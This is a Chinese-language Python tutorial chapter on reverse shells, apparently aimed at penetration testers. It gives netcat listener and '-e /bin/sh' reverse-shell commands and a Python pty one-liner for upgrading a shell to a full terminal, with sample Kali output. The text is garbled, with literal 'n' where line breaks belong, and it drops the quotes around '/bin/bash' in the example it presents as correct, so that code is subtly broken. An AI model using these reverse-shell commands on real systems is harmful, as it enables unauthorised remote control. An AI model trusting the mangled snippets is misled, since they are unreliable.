標籤:

0xB:偽終端

##偽終端

這一章,我們來講講如何使用python做一個偽終端.不過在這之前你需要先了解一點偽終端的意思,還有一些技巧.這個我們會在下面講到:

偽終端其實就是命令終端(cmd.exe,/bin/sh)通過網路介面反彈給攻擊者,或者是新建一個監聽埠反彈一個終端給攻擊者,值得注意的就是原終端對於標準的輸入,輸出是不做處理的(stdin/stdout/stderr),同樣的反彈的shell也是不對它做處理的.(ssh訪問都是直接從鍵盤上讀取).

這意味著有一些特殊的命令能夠幫助你反彈shell,像我們最常見的就是使用netcat命令來反彈shell:

#啟動netcat監聽器n~$ nc -lvp 443nlistening on [any] 443 ...n n# 使用netcat反彈/bin/shn~$ nc 127.0.0.1 443 -e /bin/shn

現在你可能注意到你看不到一些命令提示,我們輸入幾個命令試試:

idnuid=1000(kali) gid=1000(kali) groups=1000(kali)n nuname -anLinux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linuxn nlsnbinnbootndevnetcnhomeninitrd.imgnlibnlib64nmedianmntnoptnprocnrootnrunnsbinnselinuxnsrvnsysntmpnusrnvarn

上面這些命令運行會很正常,但是當你運行一些需要用戶再次輸入驗證或者是編輯的命令就可能會出現問題, 例如(FTP,SSH,vi等),因為我們虛擬的終端它只有標準的輸入輸出功能,不會再次返回驗證輸入. 但是對於寫文件我們可以使用echo命令來寫入內容,這個對於現實是一點兒也不違和的.

在使用的過程中你也可能已經注意到了,它並有任何的提示性消息給您.這是因為命令的的提示消息是同過STDERR函數來傳遞的, 而在前面我們也討論過我們實現的並不是一個原生終端,如果你想執行一些二進位的執行文件,譬如是meterpeter的執行文件就可能會出現錯誤.

對於已經安裝了python的系統,我們可以使用python提供的pty模塊,只需要一行腳本就可以創建一個原生的終端.下面是演示代碼.執行第一行前 我還沒有進入終端.

python -c "import pty;pty.spawn(/bin/bash)"nnkali@kali:/$ uname -anuname -anLinux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linuxnnkali@kali:/$ idnidnuid=1000(kali) gid=1000(kali) groups=1000(kali)nnkali@kali:/$ lsnlsnbin dev home lib64 opt srv usrnboot initrd.img media proc sbin sys varnetc lib mnt root selinux tmpnkali@kali:/$n

-c參數選項允許我們直接在命令終端裡面執行指定腳本,上面那段腳本,我使用分號把兩行代碼合併為了一行.這樣寫並不為過.還有一點. 就是雙引號裡面只能使用單引號把/bin/bash引起來,如果使用雙引號就出出現語法錯誤.就像下面這樣:

python -c "import pty;pty.spawn("/bin/bash")"n

雖然到目前為止寫的虛擬終端並沒有原生終端那樣好,但是花點時間去折騰然後不斷的去完善.相信會做的更好. 大家可能在滲透測試的時候會發現有些時候系統的命令終端是不允許直接訪問的,那麼這個時候用Python虛擬化一個終端相信會讓你眼前一亮.


推薦閱讀:

Python入門到精通視頻課程(7)
用例1: CVE-2014-6271
Python操作SQLite/MySQL/LMDB/LevelDB
Python 文本解析器

TAG:Python教程 |